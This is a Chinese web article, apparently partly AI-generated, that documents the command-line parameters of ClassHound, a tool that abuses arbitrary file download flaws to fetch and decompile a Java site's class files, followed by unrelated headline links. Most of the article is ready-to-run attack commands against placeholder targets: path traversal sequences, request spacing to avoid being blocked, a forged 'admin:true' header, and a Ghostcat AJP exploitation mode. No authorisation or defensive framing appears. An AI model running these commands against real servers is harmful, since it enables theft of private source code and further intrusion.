ClassHound参数配置完全手册：-u/-k/-p等20+参数使用技巧

发布时间：2026/9/23 8:50:18

ClassHound参数配置完全手册：-u/-k/-p等20+参数使用技巧
ClassHound参数配置完全手册-u/-k/-p等20参数使用技巧【免费下载链接】ClassHound利用任意文件下载漏洞循环下载反编译 Class 文件获得网站 Java 源代码项目地址: https://gitcode.com/gh_mirrors/cl/ClassHoundClassHound是一款利用任意文件下载漏洞循环下载反编译Class文件以获取网站Java源代码的专业工具。本文将详细介绍其20核心参数的配置方法与使用技巧帮助你快速掌握这款强大工具的使用。基础必选参数-u/--url目标URL设置功能指定完整的下载URL文件路径需用分隔符包围示例python classhound.py -u http://127.0.0.1/download.jsp?pathimages/#1.png#说明URL中的#1.png#是文件路径占位符实际使用时会被工具自动替换为遍历路径-k/--keyword404页面关键词功能设置用于识别404错误页面的关键词使用场景当目标服务器返回非标准404状态码时通过关键词精准判断文件是否存在示例python classhound.py -u http://target.com/file?path#FILE# -k 页面不存在-p/--postPOST数据配置功能指定POST请求数据文件路径需用分隔符包围示例python classhound.py -u http://target.com/upload -p fileupload#1.txt#submit1说明适用于通过POST方式提交文件下载请求的场景文件下载控制参数-f/--fileURL列表文件功能指定包含多个下载URL路径的列表文件搭配参数-a/--auto自动检测并调整遍历字符数示例python classhound.py -f url_list.txt -a文件格式每行一个URL模板如http://target.com/download?path#FILE#http://target.com/getfile?f#FILE#-s/--sleep-time请求间隔控制功能设置两次请求之间的等待时间秒适用场景避免请求过于频繁被目标服务器拦截示例python classhound.py -u http://target.com/file?path#FILE# -s 2建议值根据目标服务器响应情况设置1-5秒路径遍历参数-bp/--base-path基础路径设置功能设置/WEB-INF文件夹的前缀Web路径默认值为/高级用法当目标应用部署在非根目录时使用示例python classhound.py -u http://target.com/app/download?path#FILE# -bp /app/python classhound.py -bp opt/tomcat/webapps/ROOT/-tc/--travel-char遍历字符设置功能指定用于路径遍历的字符序列如../示例python classhound.py -u http://target.com/file?path#FILE# -tc ../说明默认会自动尝试常见路径遍历字符组合-cc/--char-count遍历字符数量功能设置路径遍历字符的重复次数搭配参数-mc/--max-count最大尝试次数示例python classhound.py -u http://target.com/file?path#FILE# -cc 5 -mc 10请求配置参数-dc/--delimiter-char分隔符设置功能指定包围文件路径的分隔符字符默认值为#适用场景当URL中已包含#字符时需修改示例python classhound.py -u http://target.com/file?path$1.txt$ -dc $-hh/--http-headerHTTP头配置功能添加自定义HTTP请求头格式使用逗号分隔多个头信息示例python classhound.py -u http://target.com/file?path#FILE# -hh Referer:http://target.com,User-Agent:Mozilla/5.0,admin:true-hp/--http-proxy代理设置功能配置HTTP/HTTPS代理示例python classhound.py -u http://target.com/file?path#FILE# -hp http://127.0.0.1:8080漏洞利用参数-vul/--vulnerability漏洞类型选择功能指定使用其他漏洞类型进行文件下载当前支持ghostcat幽灵猫漏洞示例python classhound.py -u http://target.com -vul ghostcat --ajp-port 8009--ajp-portAJP端口设置功能指定Ghostcat漏洞的AJP端口默认值为8009示例python classhound.py -vul ghostcat --ajp-port 8010实战配置示例基础URL遍历模式python classhound.py -u http://target.com/download?pathimages/#FILE# -k Not Found -s 1 -cc 6POST请求模式python classhound.py -u http://target.com/upload -p fileupload#FILE#submit1 -k 文件不存在 -dc #Ghostcat漏洞利用python classhound.py -u http://target.com -vul ghostcat --ajp-port 8009 -bp /WEB-INF/ -mc 10批量URL文件模式python classhound.py -f url_list.txt -a -s 2 -hh Referer:http://target.com参数优先级说明命令行直接指定的参数优先于配置文件-f/--file参数会覆盖-u/--url的设置--ajp-port仅在-vul ghostcat时生效-a/--auto会自动调整-cc/--char-count参数通过合理组合以上参数你可以灵活应对各种Java Web应用的文件下载场景。建议根据目标服务器的实际情况从基础参数开始逐步调整高级配置以达到最佳的源代码获取效果。【免费下载链接】ClassHound利用任意文件下载漏洞循环下载反编译 Class 文件获得网站 Java 源代码项目地址: https://gitcode.com/gh_mirrors/cl/ClassHound创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考

相关新闻

如何从零到一部署DeepSeek-Math-7B-Base：数学智能推理的实战突破

如何从零到一部署DeepSeek-Math-7B-Base：数学智能推理的实战突破

如何从零到一部署DeepSeek-Math-7B-Base：数学智能推理的实战突破 【免费下载链接】deepseek-math-7b-base 探索数学之美，DeepSeek-Math-7B-Base模型助您轻松解决数学难题，提升学术研究效率。开源授权，免费商用，让数学智…

2026/9/23 6:04:19 阅读更多 →
构建高效API：gh_mirrors/graphql/GraphQL类型系统详解

构建高效API：gh_mirrors/graphql/GraphQL类型系统详解

构建高效API：gh_mirrors/graphql/GraphQL类型系统详解 【免费下载链接】GraphQL Pure PHP realization of GraphQL protocol 项目地址: https://gitcode.com/gh_mirrors/graphql/GraphQL 在现代API开发中，GraphQL已成为构建灵活高效接口的热门选择…

2026/9/22 13:25:08 阅读更多 →
GANSketching训练教程：3个步骤教你用自定义草图训练专属AI绘画模型

GANSketching训练教程：3个步骤教你用自定义草图训练专属AI绘画模型

GANSketching训练教程：3个步骤教你用自定义草图训练专属AI绘画模型 【免费下载链接】GANSketching Sketch Your Own GAN: Customizing a GAN model with hand-drawn sketches. 项目地址: https://gitcode.com/gh_mirrors/ga/GANSketching GANSketching是一项…

2026/9/19 5:43:56 阅读更多 →

最新新闻

OpenSpec 实战：用 Git 工作流驱动 API 规范管理与变更治理

OpenSpec 实战：用 Git 工作流驱动 API 规范管理与变更治理

1. 从 API 文档混乱到 Spec 驱动开发：我为什么盯上了 OpenSpec做后端开发这些年，各个团队在 API 管理上踩过的坑，我基本都踩过一遍。最典型的状态是：项目跑着跑着，接口文档就成了摆设。谁改了字段没同步、谁加了参数没…

2026/9/23 8:50:06 阅读更多 →
基于Spring Cloud和Vue3的智慧云停车场系统设计与实践

基于Spring Cloud和Vue3的智慧云停车场系统设计与实践

1. 项目背景与核心价值停车难问题已经成为现代城市管理的痛点。传统停车场管理系统存在信息孤岛、资源利用率低、用户体验差等问题。我们团队基于Spring Cloud微服务架构和Vue3前端技术栈，开发了一套智慧云停车场服务管理系统，实现了停车场资源的智能化管…

2026/9/23 8:50:05 阅读更多 →
搞懂秒表的读法:这高频面试题坑了多少人

搞懂秒表的读法:这高频面试题坑了多少人

搞懂秒表的读法:这高频面试题坑了多少人 看了一堆教程还是不会写项目？别急着骂自己笨，很多时候是基础概念没吃透。最近整理后端高频面试题，发现“秒表的读法”这个看似简单的点，居然能把一堆自诩熟练的开发者问懵。不是让你去体育场上看表，而是在编程里…

2026/9/23 8:50:05 阅读更多 →
阳光宽屏网源码拆解：3步吃透完整示例，面试不再卡壳

阳光宽屏网源码拆解：3步吃透完整示例，面试不再卡壳

阳光宽屏网源码拆解：3步吃透完整示例，面试不再卡壳 面试被问原理答不上来，那种大脑空白的感觉谁懂？别慌，很多转行或深耕多年的开发者都栽在这里。光看文档不啃源码，遇到变种问题就抓瞎。今天咱们不整虚的，直接拿【阳光宽屏网】这类典型的高并发宽屏渲…

2026/9/23 8:50:05 阅读更多 →
SVN代码迁移到Gitlab(保留SVN的提交记录)

SVN代码迁移到Gitlab(保留SVN的提交记录)

概述 项目开发前期是用自有 SVN 进行项目管理的，开发完成后，因客户要求，需要将源码提交到客户提供的 Gitlab，故进行项目迁移。主要步骤 1. 账号对应 2. 拉取 SVN 代码记及日志 3. 提交项目到 Gitlab 第一步：账号对应 S…

2026/9/23 8:50:05 阅读更多 →
3个坑教你搞定测智商的权威题目，新手避坑指南

3个坑教你搞定测智商的权威题目，新手避坑指南

3个坑教你搞定测智商的权威题目，新手避坑指南 复制来的代码跑不通，报错红屏一片，盯着屏幕发呆？别慌，这不仅是你的问题，更是无数刚入门开发者的噩梦。在掘金技术社区搜“报错解决”，你会发现成千上万的新手都在问同一个问题：为什么逻辑看着对，跑起来…

2026/9/23 8:49:05 阅读更多 →

日新闻

3招搞定手机怎么下载微信面试难题实战项目解析

3招搞定手机怎么下载微信面试难题实战项目解析

3招搞定手机怎么下载微信面试难题实战项目解析 面试被问“手机怎么下载微信”背后的原理，90%的人答不上来。别笑，这看似弱智的问题，实则是考察你对移动应用分发机制、安全校验及网络协议理解的试金石。我带过不少校招新人，他们背了八股文，却连一个A…

2026/9/23 0:00:23 阅读更多 →
2k显示屏性能优化踩坑：版本升级后API全变了，这份源码解析救了我

2k显示屏性能优化踩坑：版本升级后API全变了，这份源码解析救了我

2k显示屏性能优化踩坑：版本升级后API全变了，这份源码解析救了我 刚把开发环境的显示器从1080P换到2K，跑老项目直接报错，版本升级后 API…

2026/9/23 0:01:25 阅读更多 →
3步搞定美眉图实战项目，告别官方文档抓不住重点

3步搞定美眉图实战项目，告别官方文档抓不住重点

3步搞定美眉图实战项目，告别官方文档抓不住重点 官方文档翻了三遍还是云里雾里？别急，美眉图在实战项目中常被用来做数据可视化，但它的原理比你想的简单。今天咱们直接上手，用一个完整的小项目把美眉图跑通，不再死磕那些冗长的理论说明。…

2026/9/23 0:01:25 阅读更多 →

周新闻

Flutter for OpenHarmony游戏卡片渐变背景实战：从原理到性能优化

Flutter for OpenHarmony游戏卡片渐变背景实战：从原理到性能优化

直接铺开项目本身吧。这几个月我一直在折腾一件事：用Flutter给OpenHarmony做一款游戏集合类的App，说白了就是把若干小游戏塞进一个壳里，用统一入口分发。这个方向本身不算新鲜，真正让我花了不少心思的，是首页那堆游戏卡…

2026/9/23 4:55:02 阅读更多 →
Word表格编号全攻略：从列表编号到题注交叉引用

Word表格编号全攻略：从列表编号到题注交叉引用

写Word文档，最让人头疼的往往是那些“看起来不起眼”的小问题。比如表格编号这事：今天在表后面多加了两个空白行，明天给客户交稿前发现整个章节的编号全部错位，光是挨个改序号就能耗掉大半个下午。我前阵子帮人整理一份上百页的技…

2026/9/23 4:49:06 阅读更多 →
从第一个站到第二个站：独立开发者的静态网站选型与落地实践

从第一个站到第二个站：独立开发者的静态网站选型与落地实践

1. 项目概述1.1 核心需求解析做独立开发者这几年，说实话，第一个网站上线的那天晚上我兴奋得没睡着。但等它跑了半年，流量惨淡、功能臃肿、代码自己都懒得看第二遍之后，我才慢慢琢磨明白一个道理：第一个网站是练手&…

2026/9/22 8:51:04 阅读更多 →

月新闻

持续集成 流水线自动化与 声明式交付 实践：原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践：原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践：原型怎样变成可用功能分类：[AI/大模型]细分主题：AI 增强型 CI/CD 流水线自动化与 GitOps 实践：Agent 工作流、工具调用与任务拆解：从原型到生产的验收清单很多团队在尝试用大…

2026/9/21 15:36:51 阅读更多 →
容器编排 生产环境运维与排障实战：复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战：复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战：复盘记录怎样真正派上用场分类：[工程技术]细分主题：Kubernetes 生产环境运维与排障实战：可复制的项目复盘模板与决策记录大部分团队的事故复盘报告，最后都变成了躺在 Confluence 或钉…

2026/9/21 15:36:51 阅读更多 →
容器 容器化技术与镜像安全管理：核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理：核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理：核心链路应该先拆哪一步分类：[工程技术]细分主题：Docker 容器化技术与镜像安全管理：核心链路的逐步实现与关键代码取舍面对一个积累了五六年历史包袱的单体架构应用（包含 Web 接口、后台…

2026/9/22 2:43:42 阅读更多 →